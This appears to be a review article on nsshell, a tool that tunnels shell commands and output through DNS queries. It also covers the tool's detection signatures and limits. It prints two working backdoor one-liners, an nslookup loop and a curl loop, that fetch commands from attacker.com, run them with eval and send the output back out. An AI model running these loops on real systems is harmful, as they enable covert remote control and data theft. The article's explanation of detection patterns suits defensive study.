Back to Articles

Building a Fileless Backdoor: How nsshell Tunnels Shell Commands Through DNS

[ View on GitHub ]

Building a Fileless Backdoor: How nsshell Tunnels Shell Commands Through DNS

Hook

Every DNS lookup your server makes could be executing remote commands and exfiltrating data back to an attacker—and your firewall would never notice.

Context

Traditional reverse shells have a problem: they're loud, obvious, and easily blocked. When you compromise a server through a blind remote code execution vulnerability, establishing a proper shell often requires outbound connections on ports that security teams actually monitor—HTTP, HTTPS, or worse, raw TCP sockets that trigger every intrusion detection system in the building.

DNS, however, is the forgotten stepchild of network security. Port 53 traffic flows freely through even the most paranoid corporate firewalls because blocking it would break the entire internet. Security teams rarely scrutinize DNS queries with the same vigor they apply to HTTP traffic. This oversight creates an opportunity: what if you could encode shell commands inside DNS responses and exfiltrate data through DNS queries? That's exactly what nsshell does—it transforms the Domain Name System into a bidirectional command-and-control protocol that hides in plain sight among legitimate DNS traffic.

Technical Insight

Attacker Infrastructure

Target Memory Only

Enter shell command

Store base64 encoded command

1. Query cmd.attacker.com TXT
2. Return TXT record with base64 command
3. Decode & execute via bash
4. Base64 encode output
5. Query output.data.attacker.com
6. Extract output from subdomain

Loop every 1s

Attacker Console

nsshell DNS Server

Target Machine

Command Queue

Bash Execution

System architecture — auto-generated

At its core, nsshell is a DNS server that speaks bash. The architecture is deceptively simple: the server (nsshell.py) runs a custom DNS responder that encodes shell commands in DNS TXT records, while the target executes a payload that loops indefinitely, making DNS lookups, piping responses to bash, and sending output back through subsequent queries.

The brilliance lies in the payload structure. Here's what nsshell generates for the basic nslookup variant:

for i in {1..10000}; do 
  cmd=$(nslookup -type=txt cmd.attacker.com | grep txt | cut -d'"' -f2); 
  res=$(eval "$cmd" | base64 -w0); 
  nslookup -type=txt "$res.data.attacker.com"; 
sleep 1; done

This one-liner contains the entire client-side implementation. No files written to disk, no listening ports opened, nothing in process lists except standard system utilities. The loop queries cmd.attacker.com for a TXT record, extracts the base64-encoded command, executes it through eval, base64-encodes the output, and sends it back as a subdomain label in another lookup. All state lives in memory or on the attacker's server.

The server side handles session management and command encoding. When you type commands into the nsshell prompt, they're base64-encoded and stored. When the target makes its next DNS query to cmd.attacker.com, the DNS server responds with a TXT record containing that encoded command. The target then executes it and exfiltrates results by embedding output in the subdomain portion of its next query—something like 'bHMgLWxhCg==.data.attacker.com'. The server intercepts these queries, extracts the subdomain, decodes it, and displays your command output.

What makes this particularly clever is the stateless target design. The target system doesn't maintain any session state or track what commands it's executed. It's just an infinite loop of "ask for command, execute command, send results." This means the payload is incredibly resilient—you can restart nsshell.py, switch machines, or lose connectivity, and the compromised system just keeps polling, waiting for the next command. The server maintains all session state, command history, and output buffers.

The tool generates multiple payload variants beyond basic nslookup. There's a curl variant that works when nslookup isn't available:

while true; do 
  cmd=$(curl -s 'http://attacker.com/cmd.txt'); 
  res=$(eval "$cmd" | base64 -w0); 
  curl -s "http://attacker.com/data/$res"; 
sleep 2; done

This HTTP variant loses some stealth benefits but works in environments where DNS utilities are restricted. The wget variant follows similar logic. By generating multiple payload types, nsshell works like sqlmap for blind RCE—you throw different payloads at an injection point to see what sticks.

The DNS protocol itself imposes constraints that shaped nsshell's design. DNS labels (the parts between dots) are limited to 63 characters, and total domain names can't exceed 253 characters. This means large command outputs must be chunked and sent across multiple queries. The server handles reassembly, but it creates latency—each command execution might require dozens of round-trip DNS queries. This is why nsshell feels painfully slow compared to SSH or even Netcat shells. You're trading speed for stealth and firewall evasion.

Gotcha

The latency is genuinely awful. Simple commands like 'ls' might take 3-5 seconds to complete. Anything producing significant output—viewing logs, reading files—can take 30 seconds or more as output gets chunked, base64-encoded, embedded in subdomain queries, and reassembled server-side. This makes interactive system administration practically impossible. You'll find yourself carefully planning each command because the feedback loop is so slow.

Detection is also easier than you might think. While DNS is rarely blocked, modern Security Information and Event Management (SIEM) systems have gotten smarter about DNS anomaly detection. nsshell generates several suspicious patterns: unusually long subdomain labels (that base64-encoded output), high query frequency to a single domain, TXT record queries from servers that normally only do A/AAAA lookups, and domains that don't match the organization's typical DNS patterns. A competent SOC analyst reviewing DNS logs would flag this traffic immediately. The tool was designed in an era before DNS security monitoring became mainstream—in 2024, it's much more likely to trigger alerts than when it was first released.

Verdict

Use if: You've exploited a blind RCE vulnerability in a severely firewalled environment where traditional reverse shells fail, and you need any shell access regardless of speed. It's also valuable for red team exercises specifically demonstrating DNS exfiltration techniques, CTF competitions with restrictive network policies, or as a last-resort persistence mechanism when you've already established initial access through other means and need a backup channel that might survive network reconfiguration. Skip if: You have any other option for command execution. The latency makes this impractical for normal penetration testing workflows, and the detection signatures are well-known enough that mature security teams will catch it. For production red team engagements, use dnscat2 or Cobalt Strike's DNS beacons instead—they offer similar firewall evasion with better performance and operational security. Consider nsshell a learning tool or proof-of-concept rather than a practical operational capability.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/developer-tools/therook-nsshell.svg)](https://starlog.is/api/badge-click/developer-tools/therook-nsshell)